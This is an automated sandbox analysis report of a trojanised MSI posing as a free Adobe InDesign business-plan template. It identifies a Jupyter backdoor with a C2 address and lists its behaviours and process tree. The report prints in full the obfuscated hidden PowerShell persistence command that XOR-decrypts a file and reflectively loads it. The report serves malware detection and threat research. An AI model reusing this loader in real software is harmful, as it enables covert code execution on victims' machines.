Analysis
-
max time kernel
132s -
max time network
134s -
platform
windows10_x64 -
resource
win10v20210408 -
submitted
02-10-2021 16:02
Static task
static1
Behavioral task
behavioral1
Sample
Adobe-Indesign-Business-Plan-Template-Free.msi
Resource
win7v20210408
windows7_x64
0 signatures
0 seconds
General
-
Target
Adobe-Indesign-Business-Plan-Template-Free.msi
-
Size
108.5MB
-
MD5
82dbf0d2b49de42dc700df7c96b41eb1
-
SHA1
509c08fd9805cf2034fec547c0fc962423a96a3b
-
SHA256
7ada6e666c34aacaf7c93d11ca2e563ec53da37fb23a181631809d0d5ef14387
-
SHA512
3d256fba291eb2f4a81ef53d8db8a333f3fb26a9a2c90e3c28bb0a944dc8bba2a2c8902232b14e6a9debdf93a2ff100faabb2be2053aac7fc2ccbdbd2f98fc83
Malware Config
Extracted
Family
jupyter
Version
SP-18
C2
http://188.241.83.61
Signatures
-
Jupyter Backdoor/Client Payload 1 IoCs
resource yara_rule behavioral2/memory/2444-2374-0x00000000091C0000-0x00000000091CB000-memory.dmp family_jupyter -
Blocklisted process makes network request 5 IoCs
flow pid Process 2 740 msiexec.exe 4 740 msiexec.exe 6 740 msiexec.exe 8 740 msiexec.exe 18 2444 powershell.exe -
Executes dropped EXE 2 IoCs
pid Process 2068 MSI7AF8.tmp 2836 MSI7AF8.tmp -
Drops startup file 1 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\MicroSOft\winDOWs\sTARt mENu\ProgRAMs\sTArtup\a96fb6f8b754c29c11d545ae7280e.Lnk powershell.exe -
Loads dropped DLL 12 IoCs
pid Process 1636 MsiExec.exe 1636 MsiExec.exe 2836 MSI7AF8.tmp 2836 MSI7AF8.tmp 2836 MSI7AF8.tmp 2836 MSI7AF8.tmp 2836 MSI7AF8.tmp 2836 MSI7AF8.tmp 2836 MSI7AF8.tmp 2836 MSI7AF8.tmp 2836 MSI7AF8.tmp 2836 MSI7AF8.tmp -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Enumerates connected drives 3 TTPs 48 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\F: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\F: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\I: msiexec.exe -
Modifies registry class 7 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\ovpmdwwrxlqebixgk\shell\open powershell.exe Set value (str) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\ovpmdwwrxlqebixgk\shell\open\command\ = "POWerShELl -wiNdowstylE HiDdeN -Ep byPAsS -COmMANd \"$a430d21fc7e4e5a384e68ec12d657='XjB8PD1eMFMoeV5ucnQqXjA8WUJAd3VnOz80TyRScyt4JU5tNyRzT3JpNz5TeU5SUm5qR2x6P3QpUXs8ayo5KDFueXNfKG4yKE99cXFuQ0B3dkxOQH05ZShAfSNBbEBVXnZ+QHxCTDZAdE1FMkB7KWp6Xk41QTFAfkVBckBzWWYjQFJOellAViRoJV5SSzEzQHs1SWxAclMqKkBVKlhtQHM1TyVAUllFb0BVZllNXlIxdGJAfjQtS0BxeGFpQFQjcSNeUiV0NEBgSW5mXk99YUFAfHYlWEBzeSNjXm5rZ20=';$aac234a2d4c4f3b635d4a3f5d61f8=[SyStem.Io.fILe]::reAdAllByTEs('C:\\Users\\Admin\\AppData\\Roaming\\micROSoft\\xzKBudNFZkWAwLOEIl\\GYDgHrVJdaEwvQS.kRqJxUashDToFrL');foR($a5722f7abb246584cc4eb2637a436=0;$a5722f7abb246584cc4eb2637a436 -LT $aac234a2d4c4f3b635d4a3f5d61f8.couNT;){fOR($a227219ce164ea81bcf7b1c4a47ef=0;$a227219ce164ea81bcf7b1c4a47ef -Lt $a430d21fc7e4e5a384e68ec12d657.lenGTH;$a227219ce164ea81bcf7b1c4a47ef++){$aac234a2d4c4f3b635d4a3f5d61f8[$a5722f7abb246584cc4eb2637a436]=$aac234a2d4c4f3b635d4a3f5d61f8[$a5722f7abb246584cc4eb2637a436] -BxOr $a430d21fc7e4e5a384e68ec12d657[$a227219ce164ea81bcf7b1c4a47ef];$a5722f7abb246584cc4eb2637a436++;IF($a5722f7abb246584cc4eb2637a436 -GE $aac234a2d4c4f3b635d4a3f5d61f8.COUNt){$a227219ce164ea81bcf7b1c4a47ef=$a430d21fc7e4e5a384e68ec12d657.LENgTH}}};[sYSTem.rEFLectIOn.assEmBLY]::lOaD($aac234a2d4c4f3b635d4a3f5d61f8);[ab821408b424418fa94bb4d815b4e.ad0682a943e4859ef35309cc0a537]::a1f5abfa214411baa77e25f6ceaa6()\"" powershell.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\.gouqoxzknjjsvgq powershell.exe Set value (str) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\.gouqoxzknjjsvgq\ = "ovpmdwwrxlqebixgk" powershell.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\ovpmdwwrxlqebixgk\shell\open\command powershell.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\ovpmdwwrxlqebixgk powershell.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\ovpmdwwrxlqebixgk\shell powershell.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2444 powershell.exe 2444 powershell.exe 2444 powershell.exe 2444 powershell.exe 2444 powershell.exe 2444 powershell.exe 2444 powershell.exe 2444 powershell.exe 2444 powershell.exe 2444 powershell.exe 2444 powershell.exe 2444 powershell.exe 2444 powershell.exe 2444 powershell.exe 2444 powershell.exe 2444 powershell.exe 2444 powershell.exe 2444 powershell.exe 2444 powershell.exe 2444 powershell.exe 2444 powershell.exe 2444 powershell.exe 2444 powershell.exe 2444 powershell.exe 2444 powershell.exe 2444 powershell.exe 2444 powershell.exe 2444 powershell.exe 2444 powershell.exe 2444 powershell.exe 2444 powershell.exe 2444 powershell.exe 2444 powershell.exe 2444 powershell.exe 2444 powershell.exe 2444 powershell.exe 2444 powershell.exe 2444 powershell.exe 2444 powershell.exe 2444 powershell.exe 2444 powershell.exe 2444 powershell.exe 2444 powershell.exe 2444 powershell.exe 2444 powershell.exe 2444 powershell.exe 2444 powershell.exe 2444 powershell.exe 2444 powershell.exe 2444 powershell.exe 2444 powershell.exe 2444 powershell.exe 2444 powershell.exe 2444 powershell.exe 2444 powershell.exe 2444 powershell.exe 2444 powershell.exe 2444 powershell.exe 2444 powershell.exe 2444 powershell.exe 2444 powershell.exe 2444 powershell.exe 2444 powershell.exe 2444 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 740 msiexec.exe Token: SeIncreaseQuotaPrivilege 740 msiexec.exe Token: SeSecurityPrivilege 1184 msiexec.exe Token: SeCreateTokenPrivilege 740 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 740 msiexec.exe Token: SeLockMemoryPrivilege 740 msiexec.exe Token: SeIncreaseQuotaPrivilege 740 msiexec.exe Token: SeMachineAccountPrivilege 740 msiexec.exe Token: SeTcbPrivilege 740 msiexec.exe Token: SeSecurityPrivilege 740 msiexec.exe Token: SeTakeOwnershipPrivilege 740 msiexec.exe Token: SeLoadDriverPrivilege 740 msiexec.exe Token: SeSystemProfilePrivilege 740 msiexec.exe Token: SeSystemtimePrivilege 740 msiexec.exe Token: SeProfSingleProcessPrivilege 740 msiexec.exe Token: SeIncBasePriorityPrivilege 740 msiexec.exe Token: SeCreatePagefilePrivilege 740 msiexec.exe Token: SeCreatePermanentPrivilege 740 msiexec.exe Token: SeBackupPrivilege 740 msiexec.exe Token: SeRestorePrivilege 740 msiexec.exe Token: SeShutdownPrivilege 740 msiexec.exe Token: SeDebugPrivilege 740 msiexec.exe Token: SeAuditPrivilege 740 msiexec.exe Token: SeSystemEnvironmentPrivilege 740 msiexec.exe Token: SeChangeNotifyPrivilege 740 msiexec.exe Token: SeRemoteShutdownPrivilege 740 msiexec.exe Token: SeUndockPrivilege 740 msiexec.exe Token: SeSyncAgentPrivilege 740 msiexec.exe Token: SeEnableDelegationPrivilege 740 msiexec.exe Token: SeManageVolumePrivilege 740 msiexec.exe Token: SeImpersonatePrivilege 740 msiexec.exe Token: SeCreateGlobalPrivilege 740 msiexec.exe Token: SeCreateTokenPrivilege 740 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 740 msiexec.exe Token: SeLockMemoryPrivilege 740 msiexec.exe Token: SeIncreaseQuotaPrivilege 740 msiexec.exe Token: SeMachineAccountPrivilege 740 msiexec.exe Token: SeTcbPrivilege 740 msiexec.exe Token: SeSecurityPrivilege 740 msiexec.exe Token: SeTakeOwnershipPrivilege 740 msiexec.exe Token: SeLoadDriverPrivilege 740 msiexec.exe Token: SeSystemProfilePrivilege 740 msiexec.exe Token: SeSystemtimePrivilege 740 msiexec.exe Token: SeProfSingleProcessPrivilege 740 msiexec.exe Token: SeIncBasePriorityPrivilege 740 msiexec.exe Token: SeCreatePagefilePrivilege 740 msiexec.exe Token: SeCreatePermanentPrivilege 740 msiexec.exe Token: SeBackupPrivilege 740 msiexec.exe Token: SeRestorePrivilege 740 msiexec.exe Token: SeShutdownPrivilege 740 msiexec.exe Token: SeDebugPrivilege 740 msiexec.exe Token: SeAuditPrivilege 740 msiexec.exe Token: SeSystemEnvironmentPrivilege 740 msiexec.exe Token: SeChangeNotifyPrivilege 740 msiexec.exe Token: SeRemoteShutdownPrivilege 740 msiexec.exe Token: SeUndockPrivilege 740 msiexec.exe Token: SeSyncAgentPrivilege 740 msiexec.exe Token: SeEnableDelegationPrivilege 740 msiexec.exe Token: SeManageVolumePrivilege 740 msiexec.exe Token: SeImpersonatePrivilege 740 msiexec.exe Token: SeCreateGlobalPrivilege 740 msiexec.exe Token: SeCreateTokenPrivilege 740 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 740 msiexec.exe Token: SeLockMemoryPrivilege 740 msiexec.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 740 msiexec.exe -
Suspicious use of WriteProcessMemory 12 IoCs
description pid Process procid_target PID 1184 wrote to memory of 1636 1184 msiexec.exe 70 PID 1184 wrote to memory of 1636 1184 msiexec.exe 70 PID 1184 wrote to memory of 1636 1184 msiexec.exe 70 PID 740 wrote to memory of 2068 740 msiexec.exe 71 PID 740 wrote to memory of 2068 740 msiexec.exe 71 PID 740 wrote to memory of 2068 740 msiexec.exe 71 PID 1636 wrote to memory of 2444 1636 MsiExec.exe 72 PID 1636 wrote to memory of 2444 1636 MsiExec.exe 72 PID 1636 wrote to memory of 2444 1636 MsiExec.exe 72 PID 2068 wrote to memory of 2836 2068 MSI7AF8.tmp 74 PID 2068 wrote to memory of 2836 2068 MSI7AF8.tmp 74 PID 2068 wrote to memory of 2836 2068 MSI7AF8.tmp 74
Processes
-
C:\Windows\system32\msiexec.exemsiexec.exe /I C:\Users\Admin\AppData\Local\Temp\Adobe-Indesign-Business-Plan-Template-Free.msi1⤵
- Blocklisted process makes network request
- Enumerates connected drives
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:740 -
C:\Users\Admin\AppData\Local\Temp\MSI7AF8.tmp"C:\Users\Admin\AppData\Local\Temp\MSI7AF8.tmp"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2068 -
C:\Windows\Temp\{F2F0D090-F14E-4740-849A-0EE31ABEC8CF}\.cr\MSI7AF8.tmp"C:\Windows\Temp\{F2F0D090-F14E-4740-849A-0EE31ABEC8CF}\.cr\MSI7AF8.tmp" -burn.clean.room="C:\Users\Admin\AppData\Local\Temp\MSI7AF8.tmp" -burn.filehandle.attached=544 -burn.filehandle.self=5403⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2836
-
-
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1184 -
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 16C8ACD64AA8A7136796C7134E2D5381 C2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1636 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe-NoProfile -Noninteractive -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\pss7BD5.ps1" -propFile "C:\Users\Admin\AppData\Local\Temp\msi7B74.txt" -scriptFile "C:\Users\Admin\AppData\Local\Temp\scr7B75.ps1" -scriptArgsFile "C:\Users\Admin\AppData\Local\Temp\scr7B76.txt" -propSep " :<->: " -testPrefix "_testValue."3⤵
- Blocklisted process makes network request
- Drops startup file
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
PID:2444
-
-